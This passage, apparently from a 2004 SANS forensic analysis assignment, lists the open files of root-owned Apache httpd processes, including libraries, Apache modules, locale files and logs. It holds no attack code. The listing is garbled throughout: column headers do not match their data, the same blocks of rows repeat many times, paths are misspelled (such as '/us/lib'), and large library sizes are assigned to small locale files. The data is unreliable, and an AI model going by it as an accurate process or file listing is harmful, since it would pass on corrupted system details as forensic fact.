<td>63507</td>
<td>/lib/libssl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>1561021</td>
<td>229551</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>35340</td>
<td>63567</td>
<td>/lib/libpm.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>28138</td>
<td>66033</td>
<td>/usr/lib/libstdc++.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>5300</td>
<td>66039</td>
<td>/usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-3-libc6.so.2.2-2.10.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>59778</td>
<td>65358</td>
<td>/usr/lib/libbz.so.1.1.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>924879</td>
<td>63562</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>207008</td>
<td>63563</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>153026</td>
<td>66042</td>
<td>/usr/lib/libjpeg.so.4.0.3</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>290511</td>
<td>65311</td>
<td>/usr/lib/libiconv.so.5.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>215482</td>
<td>65386</td>
<td>/usr/lib/libmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>717774</td>
<td>65410</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>66646</td>
<td>65263</td>
<td>/usr/lib/libxml2.so.1.0.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>189626</td>
<td>65384</td>
<td>/usr/lib/libtiff.so.2.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>140418</td>
<td>65389</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Group</td>
<td>Flags</td>
<td>Start Time</td>
<td>Commandline</td>
</tr>
<tr>
<td>---------------</td>
<td>-------</td>
<td>-------</td>
<td>-------</td>
<td>------------</td>
<td>-------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174 /lib/tools/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952 /usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094 /usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666  /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29     /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83     /usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173    /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40     /usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292    /usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560 /usr/lib/libpng.so.2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>215102  /usr/lib/libxml2.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>440048 /lib/libstdc++-3.3-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65396  /usr/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66039  /usr/lib/libpspell-modules.so.1.0.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libssl.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libiconv.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>400048 /lib/libkrb5.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libxml2.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libssl.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libssl.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libssl.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libssl.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069  /lib/libssl.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992  /usr/lib/libdbd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>717774 /usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66466  /usr/lib/libgmp.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418 /usr/lib/libjpeg.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79725  /usr/lib/libjpeg.so</td>
</tr>
</tbody>
</table>

- Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
- © SANS Institute 2004, Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4  Page 144

httpd 10609  root  18w  REG 3,6  265  44201 /var/log/httpd/access_log
httpd 10609  root  19w  REG 3,6  0  44198 /var/log/httpd/ssl_request_log
httpd 10610  root  cwd  DIR 3,5  1024  2 /
httpd 10610  root  rtd  DIR 3,5  1024  2 /
httpd 10610  root  reg  REG 3,2  290169  131802 /usr/bin/httpd
httpd 10610  root  mem  REG 3,5  89547  63490 /lib/ld-2.2.5.so
httpd 10610  root  mem  REG 3,2  9883  229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10610  root  mem  REG 3,2  8301  229506 /usr/lib/apache/mod_env.so
httpd 10610  root  mem  REG 3,2  17638  229514 /usr/lib/apache/mod_log_config.so
httpd 10610  root  mem  REG 3,2  7438  229513 /usr/lib/apache/mod_log_agent.so
httpd 10610  root  mem  REG 3,2  8530  229515 /usr/lib/apache/mod_log_referer.so
httpd 10610  root  mem  REG 3,2  8274  229505 /usr/lib/apache/mod_dir.so
httpd 10610  root  mem  REG 3,2  371  130311

/usr/lib/locale/en_US.iso885915/LC_IDENTIFIER
httpd 10610  root  mem  REG 3,5  101902  73734 /lib/i686/libpthread-0.9.so
httpd 10610  root  mem  REG 3,5  173359  73732 /lib/i686/libm-2.2.5.so
httpd 10610  root  mem  REG 3,5  23575  63501 /lib/libcrypt
httpd 10610  root  mem  REG 3,2  30242  65273 /usr/lib/libgdm.so.2.0.0
httpd 10610  root  mem  REG 3,5  655224  63543 /lib/libd3-3.3.so
httpd 10610  root  mem  REG 3,2  19662  66292 /usr/lib/libcrypt.so
httpd 10610  root  mem  REG 3,2  141735  65380 /usr/lib/libexpat.so.0.1.0
httpd 10610  root  mem  REG 3,5  12102  65103 /lib/libdl-2.2.5.so
httpd 10610  root  mem  REG 3,2  14929  229516 /usr/lib/apache/mod_mime.so
httpd 10610  root  mem  REG 3,2  27415  229519 /usr/lib/apache/mod_negotiation.so
httpd 10610  root  mem  REG 3,2  18365  229523 /usr/lib/apache/mod_status.so
httpd 10610  root  mem  REG 3,2  19959  229512 /usr/lib/apache/mod_info.so
httpd 10610  root  mem  REG 3,2  35886  229511 /usr/lib/apache/modinclude.so
httpd 10610  root  mem  REG 3,2  27836  229501 /usr/lib/apache/mod_autoindex.so
httpd 10610  root  mem  REG 3,2  14940  229503 /usr/lib/apache/mod_cgi.so
httpd 10610  root  mem  REG 3,2  6924  229496 /usr/lib/apache/mod_asis.so
httpd 10610  root  mem  REG 3,2  15974  229510 /usr/lib/apache/mod_actions.so
httpd 10610  root  mem  REG 3,2  8541  229494 /usr/lib/apache/mod_actions.so
httpd 10610  root  mem  REG 3,2  8770  229525 /usr/lib/apache/mod_userdir.so
httpd 10610  root  mem  REG 3,2  10617  229495 /usr/lib/apache/mod_alias.so
httpd 10610  root  mem  REG 3,2  53189  229520 /usr/lib/apache/mod_rewrite.so
httpd 10610  root  mem  REG 3,2  10034  229493 /usr/lib/apache/mod_access.so
httpd 10610  root  mem  REG 3,2  11985  224947 /usr/lib/apache/mod_auth.so
httpd 10610  root  mem  REG 3,2  8486  224948 /usr/lib/apache/mod_auth_anon.so
httpd 10610  root  mem  REG 3,2  9304  224949 /usr/lib/apache/mod_auth_db.so
httpd 10610  root  mem  REG 3,2  9900  229508 /usr/lib/apache/mod_expires.so
httpd 10610  root  mem  REG 3,2  8261  229509 /usr/lib/apache/mod_headers.so
httpd 10610  root  mem  REG 3,2  10176  229521 /usr/lib/apache/mod_setenvif.so
httpd 10610  root  mem  REG 3,2  92407  440046

/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10610  root  mem  REG 3,2  65  130316
httpd 10610  root  mem  REG 3,2  161  130310

/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10610  root  mem  REG 3,2  13141

/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10610  root  mem  REG 3,2  83  130314

/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10610  root  mem  REG 3,2  40  130315

/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10610  root  mem  REG 3,2  58  179360

/usr/lib/locale/en_US.iso885915/LC_MESSAGES
httpd 10610  root  mem  REG 3,2  92  130313

/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10610  root  mem  REG 3,2  29  130312

/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10610  root  mem  REG 3,5  89424  63507 /lib/libnsl-2.2.5.so
httpd 10610  root  mem  REG 3,2  156102  229551 /usr/lib/apache/libphp4.so
httpd 10610  root  mem  REG 3,5  35340  65676 /lib/dbm.so.0.75
httpd 10610  root  mem  REG 3,2  28138  66033 /usr/lib/libstdl.so.3.1.0
httpd 10610  root  mem  REG 3,2  5300  66039 /usr/lib/libspell-modules.so.1.0.1

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>Access</th>
<th>Offset</th>
<th>Size</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td><code>/usr/apache/mod_autoindex.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
<td><code>/usr/apache/mod_cgi.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
<td><code>/usr/apache/mod_asis.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
<td><code>/usr/apache/mod_imap.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
<td><code>/usr/apache/mod_actions.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
<td><code>/usr/apache/mod_userdir.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
<td><code>/usr/apache/mod_asis.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td><code>/usr/apache/mod_access.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td><code>/usr/apache/mod_auth.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td><code>/usr/apache/mod_auth_anon.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td><code>/usr/apache/mod_auth_db.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
<td><code>/usr/apache/mod_alias.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
<td><code>/usr/apache/mod_expires.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td><code>/usr/apache/mod_headers.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8461</td>
<td><code>/usr/apache/mod_setenvif.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
<td><code>/usr/lib/apache/libdav.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
<td><code>/usr/lib/apache/libssl.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
<td><code>/usr/lib/php4/imap.so</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
<td><code>/usr/kerberos/lib/libcom_err.so.3.0</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>206666</td>
<td><code>/usr/gconv/gconv-modules.cache</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>130312</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MEASUREMENT</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_TELEPHONE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_ADDRESS</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_NAME</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_COLLATE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>252</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_COLLATE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_TELEPHONE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53540</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_ADDRESS</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_NAME</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_COLLATE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_COLLATE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14681</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_COLLATE</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>207088</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>68925</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>153026</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>66646</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>189626</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>258533</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>79125</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>42069</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>44992</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>45415</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457</td>
<td><code>/us/lib/locale/en_US.iso885915/LC_MONETARY</code></td>
</tr>
</tbody>
</table>

httpd 10611 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 10611 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 10611 root mem REG 3,2 44992 63439 /usr/lib/libber.so.2.0.15
httpd 10611 root mem REG 3,2 45415 63523 /usr/lib/libmman_files-2.2.5.so
httpd 10611 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
httpd 10611 root mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
```
httpd 10612 root mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE

httpd 10612 root mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS

httpd 10612 root mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME

httpd 10612 root mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER

httpd 10612 root mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso88591/LC_MESSAGES/SYS_LC_MESSAGES

httpd 10612 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY

httpd 10612 root mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE

httpd 10612 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so

httpd 10612 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so

httpd 10612 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75

httpd 10612 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0

httpd 10612 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1

httpd 10612 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so

httpd 10612 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12

